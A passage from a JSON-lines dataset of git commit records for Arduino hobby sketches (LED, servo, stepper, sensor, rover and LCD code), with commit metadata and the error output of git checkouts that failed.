) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ')':\n if( freq == -1 ) {\n scratch = atoi( buf );\n p( \"got freq %d\\n\", scratch );\n freq = scratch;\n delay( freq );\n x = sizeof( buf );\n } else {\n p( \"Wait set %s\", PARAM_ERR );\n }\n break;\n default:\n buf[x] = *ch;\n break;\n }\n }\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'c':\n case 'C':\n i++;\n p( \"Clear\\n\" );\n set_leds( ALL_LEDS, 0 );\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n }\n }\/\/ end of loop through macro\n \/\/p(\"led = %d\\n\", leds );\n return ok;\n}\n\nvoid unrecognized()\n{\n p( \"\\nError!\\n\" );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/serial_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c092c2aed501646ad5342963e717a1fdd387c15e","subject":"Restored arduino file","message":"Restored arduino file\n","repos":"AfonsoFGarcia\/ArduinoLight,AfonsoFGarcia\/ArduinoLight","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"int led = 0;\n\nchar incomingByte = 0;\nchar message[4];\nint index = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led, OUTPUT);\n}\n\nvoid readMessage() {\n while(Serial.available() > 0) {\n incomingByte = Serial.read();\n message[index++] = incomingByte;\n message[index] = '\\0';\n }\n}\n\nvoid cleanMessage() {\n message[(index = 0)] = '\\0';\n}\n\nvoid loop() {\n readMessage();\n if(strcmp(message,\"REQ\") == 0) {\n Serial.println(analogRead(A0));\n } else if (strcmp(message,\"ON\") == 0) {\n digitalWrite(led, HIGH);\n Serial.println(\"OK\");\n } else if (strcmp(message,\"OFF\") == 0) {\n digitalWrite(led, LOW);\n Serial.println(\"OK\");\n } else if(message[0] != '\\0') {\n Serial.println(\"NOK\");\n }\n cleanMessage();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9960cbb284bf495a52bbdfaff71b47fd1bdff18d","subject":"Program to accept slope and intercept and return data mapped to 1023","message":"Program to accept slope and intercept and return data mapped to 1023\n","repos":"jeremykenedy\/arduino","old_file":"VernierDetermineSlopeIntercept\/VernierDetermineSlopeIntercept.ino","new_file":"VernierDetermineSlopeIntercept\/VernierDetermineSlopeIntercept.ino","new_contents":"\/*\nVernierDetermineSlopeIntercept (v 2015.02)\nReads a Vernier analog (BTA) Sensor connected to pin A0 of the Arduino. \nThis sketch displays the time and digital readout from the sensor \nreadings on the Serial Monitor. \nAs written, the readings will be displayed every half second. \nChange the variable TimeBetweenReadings to change the rate.\n\n See www.vernier.com\/arduino for more information.\n*\/\n\/*\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nThe data from this sketch will allow you to determine the slope and\nintercept of the sensor - assuming a linear relationship. Once this \nis determined another sketch called \"VernierAnalog Sensor\" can be used\nto read values of the sensor.\n\/\/See www.vernier.com\/products\/sensors.\n*\/\nint TimeBetweenReadings = 500; \/\/ in ms\nfloat Count;\nfloat Voltage;\nfloat SensorReading;\nint ReadingNumber=0;\nfloat Time;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup() \n{\n Serial.begin(9600); \/\/initialize serial communication at 9600 baud\n Serial.println(\"Vernier Format Special\");\n Serial.println(\"Readings taken using Ardunio to determine slope and intercept\");\n Serial.println(\"Data Set\");\n Serial.print(\"Time\");\/\/long name\n Serial.print(\"\\t\"); \/\/tab character\n Serial.print(\"(s)\");\/\/units\n Serial.print(\"\\t\");\n Serial.print(\"Count\");\n Serial.print(\"\\t\");\n Serial.print(\"Voltage\");\n Serial.print(\"\\t\");\n Serial.println(\"(V)\"); \n}\nvoid loop() \n{\n\n\/\/the print below does the division first to avoid overflows\n Serial.print(\"\\t\");\n Serial.print(ReadingNumber\/1000.0*TimeBetweenReadings); \n Serial.print(\"\\t\");\n Count = analogRead(A0);\n Voltage = Count \/ 1023 * 5.0;\/\/ convert from count to raw voltage\n Serial.print (Count);\n Serial.print (\"\\t\");\n Serial.println (Voltage);\n delay(TimeBetweenReadings);\/\/ delay in between reads for stability\n ReadingNumber++;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VernierDetermineSlopeIntercept\/VernierDetermineSlopeIntercept.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f2c7bbbded09c9476e2d6824ba89741d2c9af3bb","subject":"Fixed bug where skyprobe test would hang.","message":"Fixed bug where skyprobe test would hang.\n","repos":"TempletonSTEM\/STEM-Skyprobe","old_file":"Test Sketch\/skyprobetest\/skyprobetest.ino","new_file":"Test Sketch\/skyprobetest\/skyprobetest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Test' did not match any file(s) known to git\nerror: pathspec 'Sketch\/skyprobetest\/skyprobetest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f71bb88f4dc67c45d340aac3afef0dba7a48ffeb","subject":"added arduino source code","message":"added arduino source code\n","repos":"arpi-robotics\/arpi-robotics,arpi-robotics\/arpi-robotics,bes89\/pi-rover,bes89\/pi-rover","old_file":"arduino\/pi_rover\/pi_rover.ino","new_file":"arduino\/pi_rover\/pi_rover.ino","new_contents":"#include <AFMotor.h>\n\nAF_DCMotor motor1(1);\nAF_DCMotor motor2(2);\nAF_DCMotor motor3(3);\nAF_DCMotor motor4(4);\n\nint motorSpeed = 200;\n\nString command = \"\";\n \nvoid setup()\n{\n Serial.begin(9600);\n Serial.print(\"Ready\\n\");\n}\n\nvoid loop()\n{\n char character;\n \n while(Serial.available()) {\n character = Serial.read(); \n command.concat(character);\n }\n\n if (command != \"\") {\n String result = handleCommand(command);\n Serial.print(result + \"\\n\");\n command = \"\";\n }\n \n delay(250);\n}\n\nString handleCommand(String command) {\n String result;\n \n if(command == \"check battery status\") {\n result = checkBatteryStatus();\n } else if(command == \"forward\") {\n result = forward();\n } else if(command == \"backward\") {\n result = backward();\n } else if(command == \"left\") {\n result = left();\n } else if(command == \"right\") {\n result = right();\n } else if(command == \"stop\") {\n result = halt();\n } else {\n result = \"unknown command: \" + command;\n }\n \n return result;\n}\n\nString forward()\n{\n turnMotorsOn();\n \n motor1.run(BACKWARD);\n motor2.run(BACKWARD);\n motor3.run(FORWARD);\n motor4.run(FORWARD);\n \n return \"ok\";\n}\n\nString backward()\n{\n turnMotorsOn();\n \n motor1.run(FORWARD);\n motor2.run(FORWARD);\n motor3.run(BACKWARD);\n motor4.run(BACKWARD);\n \n return \"ok\";\n}\n\nString halt()\n{\n turnMotorsOff();\n \n return \"ok\";\n}\n\n\n\nString left()\n{\n turnMotorsOn();\n\n motor1.run(FORWARD);\n motor2.run(BACKWARD);\n motor3.run(FORWARD);\n motor4.run(BACKWARD);\n\n delay(250);\n\n turnMotorsOff();\n\n return \"ok\";\n}\n\nString right()\n{\n turnMotorsOn();\n\n motor1.run(BACKWARD);\n motor2.run(FORWARD);\n motor3.run(BACKWARD);\n motor4.run(FORWARD);\n\n delay(250);\n\n turnMotorsOff();\n\n return \"ok\";\n}\n\nString checkBatteryStatus()\n{\n return \"battery status is \" + String(random(0, 1));\n}\n\nvoid turnMotorsOff()\n{\n motor1.setSpeed(0);\n motor2.setSpeed(0);\n motor3.setSpeed(0);\n motor4.setSpeed(0);\n}\n\nvoid turnMotorsOn()\n{\n motor1.setSpeed(motorSpeed);\n motor2.setSpeed(motorSpeed);\n motor3.setSpeed(motorSpeed);\n motor4.setSpeed(motorSpeed);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/pi_rover\/pi_rover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3262011ebd0d4c3e41b15a8d911ef63133a30fe9","subject":"that is a sceleton of the movement control","message":"that is a sceleton of the movement control\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fdbed13d2b44e91ba236c38b0d470cfc5178b528","subject":"Basic Arduino Sketch setup and initialising the project","message":"Basic Arduino Sketch setup and initialising the project\n","repos":"Rugosh\/LedCube,Rugosh\/LedCube","old_file":"src\/Arduino\/LED_CUBE\/LED_CUBE.ino","new_file":"src\/Arduino\/LED_CUBE\/LED_CUBE.ino","new_contents":"\/*\n Pin Settings\n*\/\nconst int DS_pin = 8;\nconst int STCP_pin = 9;\nconst int SHCP_pin = 10;\n\nconst int MR_pin = 7;\n\n\/*\n Init the System\n*\/\nvoid setup(){\n \/\/ initialize serial:\n Serial.begin(9600);\n \n pinMode(DS_pin, OUTPUT);\n pinMode(STCP_pin, OUTPUT);\n pinMode(SHCP_pin, OUTPUT);\n pinMode(MR_pin, OUTPUT);\n\n writeShift();\n}\n\n\/*\n Stores the Values of the registers\n*\/\nboolean shiftRegValues[32];\n\n\/*\n Writes the content of the shift register value array out.\n*\/\nvoid writeShift(){\n Serial.println(\"-->writeShift\");\n Serial.print(\"-->\");\n \n digitalWrite(SHCP_pin, LOW);\n \n for(int i = 31; i >= 0; i--){\n Serial.print(shiftRegValues[i]);\n \n digitalWrite(STCP_pin, LOW);\n digitalWrite(DS_pin, shiftRegValues[i]);\n digitalWrite(STCP_pin, HIGH);\n }\n \n Serial.println(\"\");\n \n digitalWrite(SHCP_pin, HIGH);\n}\n\n\/*\n Main LOOP\n*\/\nvoid loop(){\n \/\/ Reset the shift registers\n digitalWrite(MR_pin, LOW);\n digitalWrite(MR_pin, HIGH);\n \n \/\/ DO some magic\n \n writeShift();\n delay(500);\n\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino\/LED_CUBE\/LED_CUBE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"46c4725247494121910ecdc76b9517f2aff3a7dd","subject":"Switch to hardware MIDI","message":"Switch to hardware MIDI\n","repos":"recursinging\/ruitar,recursinging\/ruitar","old_file":"ruitar.ino","new_file":"ruitar.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/recursinging\/ruitar.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"774b7cd6ac943d58d843d3f99bf757de5cd7eeaf","subject":"Add code to read temperature and light to display on a LCD","message":"Add code to read temperature and light to display on a LCD\n","repos":"pads\/arduino-learning","old_file":"temp_and_light_lcd\/temp_and_light_lcd.ino","new_file":"temp_and_light_lcd\/temp_and_light_lcd.ino","new_contents":"\/*\n * Read temperature and light and display on the LCD\n *\n * For: Arduino Uno R3\n *\n * Parts:\n * 1x LCD (16x2 characters)\n * 1x 10 k\u03a9 variable resistor\n * 1x 10 K\u03a9 resistor\n * 1x 220 \u03a9 resitor\n * 1x Photocell\n * 1x TMP36 temperature sensor\n *\/\n#include <LiquidCrystal.h>\n\nint temperaturePin = 0;\nint lightPin = 1;\n\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\n\nvoid setup() {\n \/\/ Set columns and rows to use\n lcd.begin(16, 2);\n \/\/ Start on the first row\n lcd.print(\"Temp : C\");\n}\n\nvoid loop() {\n int temperatureReading = analogRead(temperaturePin);\n float temperatureInVolts = (temperatureReading \/ 1024.0) * 5.0;\n float temperatureInCelcius = (temperatureInVolts - 0.5) * 100;\n \/\/ Jump 6 columns\n lcd.setCursor(6, 0);\n lcd.print(temperatureInCelcius);\n \n int lightReading = analogRead(lightPin);\n \/\/ Jump to the next row\n lcd.setCursor(0, 1);\n lcd.print(\"Light: \"); \n lcd.setCursor(6, 1);\n lcd.print(lightReading);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp_and_light_lcd\/temp_and_light_lcd.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a89eb2f9dcd8dc59e5640e3d9fe61704b8283b86","subject":"add code arduino","message":"add code arduino\n","repos":"Blabby\/TIPE2015","old_file":"code_arduino\/code_arduino.ino","new_file":"code_arduino\/code_arduino.ino","new_contents":"#include <Servo.h> \n\nint octetReception=0;\nlong nombreReception=0;\n\nconst int posMin=500;\nconst int posMax=2300;\n\nconst int brocheServo1=10; \nconst int brocheServo2=9;\n\nServo servo1;\nServo servo2;\n\nint angleServo1=0;\nint angleServo2=0;\n\nvoid setup() {\n Serial.begin(115200);\n servo1.attach(brocheServo1, posMin, posMax); \n servo2.attach(brocheServo2, posMin, posMax); \n}\n\nvoid loop() {\n while (Serial.available()>0) {\n octetReception=Serial.read();\n if (octetReception==10 || octetReception==44) {\n Serial.print (\"Nombre recu = \");\n Serial.println (nombreReception);\n if (octetReception==44){\n angleServo1=nombreReception;\n }\n else{\n angleServo2=nombreReception;\n }\n servo2.write(angleServo2);\n servo1.write(angleServo1);\n nombreReception=0;\n delay(10);\n break;\n }\n else {\n octetReception=octetReception-48; \n if ((octetReception>=0)&&(octetReception<=9)) \n nombreReception = (nombreReception*10)+octetReception;\n else Serial.println(\"La chaine n'est pas un nombre valide !\");\n delay(1);\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code_arduino\/code_arduino.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"eab41a5579edbbb63bdb4c20830fac534c266314","subject":"Enable ROS Subscriber to allow rpi control of LIDAR servo","message":"Enable ROS Subscriber to allow rpi control of LIDAR servo\n\nNeeds work... That is, it needs the requisite libraries installed and it needs to actually be tested because it probably won't work :frowning:\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/lidar_servo_driver\/lidar_servo_driver.ino","new_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/lidar_servo_driver\/lidar_servo_driver.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LIDAR' did not match any file(s) known to git\nerror: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Extraction\/LidarCommands\/Currently' did not match any file(s) known to git\nerror: pathspec 'Used\/lidar_servo_driver\/lidar_servo_driver.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"64231d86e981979ead4fa59f701f0de23da67f14","subject":"Added arduino stuff","message":"Added arduino stuff\n","repos":"Cat-Ion\/die-tester","old_file":"arduino_code\/motor.ino","new_file":"arduino_code\/motor.ino","new_contents":"#define STEP 6\n#define DIR 5\n#define DISABLE 7\n\n#define ROT_PER_SEC 2.5\n#define STEP_PER_ROT 100\n#define USEC_PER_STEP_2 (1000000UL\/(ROT_PER_SEC * STEP_PER_ROT * 2))\n\nstatic inline void step() {\n digitalWrite(STEP, 1);\n delayMicroseconds(USEC_PER_STEP_2);\n digitalWrite(STEP, 0);\n delayMicroseconds(USEC_PER_STEP_2); \n}\n\nstatic inline void steps(int8_t n) {\n if(n < 0) {\n n = -n;\n digitalWrite(DIR, 1);\n } else {\n digitalWrite(DIR, 0);\n }\n \n while(n--) {\n step();\n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(STEP, OUTPUT);\n pinMode(DIR, OUTPUT);\n pinMode(DISABLE, OUTPUT);\n \n digitalWrite(DISABLE, 1);\n \n Serial.write(\"Ready.\\r\\n\");\n}\n\nint r = 0;\n\nvoid loop() {\n if(Serial.available()) {\n int c = Serial.read();\n if(c == '.') {\n r = 0;\n step();\n }\n if(c >= '0' && c <= '9') {\n r = r * 10 + c - '0';\n }\n if(c == '\\r') {\n while(r > 0) {\n digitalWrite(DISABLE, 0);\n delay(50);\n steps(STEP_PER_ROT*5\/8);\n delay(10);\n steps(-STEP_PER_ROT\/2);\n delay(10);\n steps(STEP_PER_ROT\/8);\n delay(10);\n steps(-STEP_PER_ROT\/2-STEP_PER_ROT\/8);\n delay(50);\n steps(STEP_PER_ROT-STEP_PER_ROT*5\/8);\n delay(100);\n \n steps(-STEP_PER_ROT*3\/8);\n delay(50);\n steps(STEP_PER_ROT);\n delay(50);\n steps(-STEP_PER_ROT+STEP_PER_ROT*3\/8);\n \n r--;\n }\n delay(500);\n digitalWrite(DISABLE, 1);\n r = 0;\n }\n \n if(c != '\\n') {\n Serial.write(c);\n if(c == '\\r') {\n Serial.write('\\n');\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_code\/motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c8767a4fa4d962ded42e78d063352f30ef7cfc04","subject":"arduino: adding the arduino code","message":"arduino: adding the arduino code\n","repos":"cyberx-labs\/cyber-sign,cyberx-labs\/cyber-sign","old_file":"src\/arduino\/sign.ino","new_file":"src\/arduino\/sign.ino","new_contents":"int redPin = 9;\nint greenPin = 10;\nint bluePin = 11;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(redPin, OUTPUT);\n pinMode(greenPin, OUTPUT);\n pinMode(bluePin, OUTPUT);\n}\n\nvoid setColor(String& color) {\n long number = strtol( &color[0], NULL, 16);\n\n long r = number >> 16;\n long g = number >> 8 & 0xFF;\n long b = number & 0xFF;\n\n \/\/ ---------------------------------\n \/\/ PNP transistors controls the values\n \/\/ 0v (base pin) => 5v (emitter pin); \n \/\/ 5v (base pin) => 0v (emitter pin);\n \/\/ so i need to patch the values (or to use NPN transistors)\n\n r = 255 - r;\n g = 255 - g;\n b = 255 - b;\n \/\/ ---------------------------------\n\n analogWrite(redPin, r);\n analogWrite(greenPin, g);\n analogWrite(bluePin, b);\n}\n\nvoid loop()\n{\n if (Serial.available()) {\n delay(100);\n while (Serial.available() > 0) {\n String color = Serial.readString();\n setColor(color);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/arduino\/sign.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"03cca7f08e593c95dc276c8c0715560340e56678","subject":"Refactor \/ code cleanup","message":"Refactor \/ code cleanup\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c0e7615e1df9015e21c2069be8d77431e12b4929","subject":"Initial commit","message":"Initial commit\n\nArduino sketch for the joystick\n","repos":"Foxman13\/guncontroller","old_file":"GunJoystick.ino","new_file":"GunJoystick.ino","new_contents":"\n#include <MPU6050.h>\n#include <I2Cdev.h>\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 accelgyro;\n\/\/MPU6050 accelgyro(0x69); \/\/ <-- use for AD0 high\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\nint jx, jy;\n\n\n\/\/ uncomment \"OUTPUT_READABLE_ACCELGYRO\" if you want to see a tab-separated\n\/\/ list of the accel X\/Y\/Z and then gyro X\/Y\/Z values in decimal. Easy to read,\n\/\/ not so easy to parse, and slow(er) over UART.\n#define OUTPUT_READABLE_ACCELGYRO\n\n\/\/ uncomment \"OUTPUT_BINARY_ACCELGYRO\" to send all 6 axes of data as 16-bit\n\/\/ binary, one right after the other. This is very fast (as fast as possible\n\/\/ without compression or data loss), and easy to parse, but impossible to read\n\/\/ for a human.\n\/\/#define OUTPUT_BINARY_ACCELGYRO\n\n\n#define LED_PIN 13\n#define BUTTON_PIN 2\n\nbool blinkState = false;\nint buttonState = LOW;\n\nint JOYSTICK_PIN_X = A0;\nint JOYSTICK_PIN_Y = A1;\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (38400 chosen because it works as well at 8MHz as it does at 16MHz, but\n \/\/ it's really up to you depending on your project)\n Serial.begin(38400);\n\n \/\/ initialize device\n Serial.println(\"Initializing I2C devices...\");\n accelgyro.initialize();\n\n \/\/ verify connection\n Serial.println(\"Testing device connections...\");\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n \/\/ use the code below to change accel\/gyro offset values\n \n Serial.println(\"Updating internal sensor offsets...\");\n \/\/ 2426;681;92;-40;22;-42\n Serial.print(accelgyro.getXAccelOffset()); Serial.print(\"\\t\"); \/\/ -76\n Serial.print(accelgyro.getYAccelOffset()); Serial.print(\"\\t\"); \/\/ -2359\n Serial.print(accelgyro.getZAccelOffset()); Serial.print(\"\\t\"); \/\/ 1688\n Serial.print(accelgyro.getXGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getYGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getZGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(\"\\n\");\n accelgyro.setXAccelOffset(-1923);\n accelgyro.setYAccelOffset(-662);\n accelgyro.setZAccelOffset(1835);\n accelgyro.setXGyroOffset(46);\n accelgyro.setYGyroOffset(-11);\n accelgyro.setZGyroOffset(44);\n Serial.print(accelgyro.getXAccelOffset()); Serial.print(\"\\t\"); \/\/ -76\n Serial.print(accelgyro.getYAccelOffset()); Serial.print(\"\\t\"); \/\/ -2359\n Serial.print(accelgyro.getZAccelOffset()); Serial.print(\"\\t\"); \/\/ 1688\n Serial.print(accelgyro.getXGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getYGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(accelgyro.getZGyroOffset()); Serial.print(\"\\t\"); \/\/ 0\n Serial.print(\"\\n\");\n \n\n \/\/ configure Arduino LED for\n pinMode(LED_PIN, OUTPUT);\n pinMode(BUTTON_PIN, INPUT);\n}\n\nvoid loop() {\n delay(100); \/\/ delay read for 100 ms\n\n\tif(Serial)\n\t{\n\t\t\/\/ read raw accel\/gyro measurements from device\n\t\taccelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\n\t\t\/\/ these methods (and a few others) are also available\n\t\t\/\/accelgyro.getAcceleration(&ax, &ay, &az);\n\t\t\/\/accelgyro.getRotation(&gx, &gy, &gz);\n\n\t\t\/\/ convert the raw accelerometer data into a range from -1 to 1 for Unity to consume\n\t\tfloat pax = 1.0 * (ax \/ 20000.0);\n\t\tfloat pay = 1.0 * (ay \/ 20000.0);\n\t\tfloat paz = 1.0 * (az \/ 20000.0);\n \n\t\t\/\/ capture joystick input from the analog\n\t\tjx = analogRead(JOYSTICK_PIN_X);\n\t\tjy = analogRead(JOYSTICK_PIN_Y);\n\n\t\t\/\/convert the raw analog joystick data into a range from -1 to 1 for Unity to consume\n\t\tfloat pjx = ConvertRawValue(jx);\n\t\tfloat pjy = ConvertRawValue(jy);\n \n\t\tbool buttonState = digitalRead(BUTTON_PIN);\n\t\tdigitalWrite(LED_PIN, buttonState);\n \n #ifdef OUTPUT_READABLE_ACCELGYRO\n \/\/ display tab-separated accel\/gyro x\/y\/z values\n Serial.print(\"a;\");\n Serial.print(pax); Serial.print(\";\");\n Serial.print(pay); Serial.print(\";\");\n Serial.print(paz); Serial.print(\";\");\n Serial.print(gx); Serial.print(\";\");\n Serial.print(gy); Serial.print(\";\");\n Serial.println(gz);\n Serial.print(\"j;\");\n Serial.print(pjx); Serial.print(\";\");\n Serial.print(pjy); Serial.println();\n Serial.print(\"b;\"); Serial.print(buttonState); Serial.println();\n #endif\n\n #ifdef OUTPUT_BINARY_ACCELGYRO\n \/\/Serial.write((uint8_t)(ax >> 8)); Serial.write((uint8_t)(ax & 0xFF));\n \/\/Serial.write((uint8_t)(ay >> 8)); Serial.write((uint8_t)(ay & 0xFF));\n \/\/Serial.write((uint8_t)(az >> 8)); Serial.write((uint8_t)(az & 0xFF));\n \/\/Serial.write((uint8_t)(gx >> 8)); Serial.write((uint8_t)(gx & 0xFF));\n \/\/Serial.write((uint8_t)(gy >> 8)); Serial.write((uint8_t)(gy & 0xFF));\n \/\/Serial.write((uint8_t)(gz >> 8)); Serial.write((uint8_t)(gz & 0xFF)); \n #endif\n \n }\n\telse\n\t{\n\t\tSerial.flush();\n\t}\n\n\n \/\/ blink LED to indicate activity\n \/\/blinkState = !blinkState;\n \/\/digitalWrite(LED_PIN, buttonState);\n}\n\nfloat ConvertRawValue(float rawValue)\n{\n if (rawValue < 512 && rawValue > 0)\n {\n return -1.0 - (-1.0 * (rawValue \/ 512));\n }\n else if (rawValue > 512 && rawValue < 1024)\n {\n return 1.0 - (1.0 * ((1024 - rawValue) \/ 512));\n }\n else if (rawValue == 0)\n {\n return -1.0;\n }\n else if (rawValue == 1024)\n {\n return 1.0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GunJoystick.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a8da379f86167dbc180816d0113c4add0d4b9924","subject":"Added arduino sketch, waiting for special input to activate LED.","message":"Added arduino sketch, waiting for special input to activate LED.\n","repos":"viktorbahr\/jaer,viktorbahr\/jaer,viktorbahr\/jaer,viktorbahr\/jaer,viktorbahr\/jaer,viktorbahr\/jaer,viktorbahr\/jaer","old_file":"sketch\/sketch.ino","new_file":"sketch\/sketch.ino","new_contents":"\n int led = 13; \/\/ LED connected to digital pin 13\n int recv = 0; \/\/ byte received on the serial port\n\n void setup() {\n \/\/ initialize onboard LED (led) and serial port\n pinMode(led, OUTPUT);\n Serial.begin(9600);\n }\n\n void loop()\n {\n \/\/ if serial port is available, read incoming bytes\n if (Serial.available() > 0) {\n recv = Serial.read();\n\n \/\/ if 'x' (decimal 120) is received, turn LED on\n \/\/ anything other than 120 is received, turn LED off\n if (recv == 120){\n digitalWrite(led, HIGH);\n } else {\n digitalWrite(led, LOW);\n }\n \n \/\/ confirm values received in serial monitor window\n Serial.print(\"--Arduino received: \");\n Serial.println(recv);\n }\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/sketch.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ede697c0659a466914978193f79e0dceb3b7dd35","subject":"Create SerialHello.ino","message":"Create SerialHello.ino","repos":"jpvlsmv\/embeddedtesting","old_file":"src\/Hello\/SerialHello.ino","new_file":"src\/Hello\/SerialHello.ino","new_contents":"void setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n delay(1000);\n Serial.println(\"Hello World!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Hello\/SerialHello.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2da70b510641477e4dc17069d5be59bd81aba7e2","subject":"Valor do vot","message":"Valor do vot\n","repos":"ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius","old_file":"src\/webserver.ino","new_file":"src\/webserver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ciandt-dev\/garage-kelvin-celsius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"600c2381f6bfe7b5e26006aa4264943cec27f891","subject":"Loop program implemented","message":"Loop program implemented\n\nIrrigation Loop 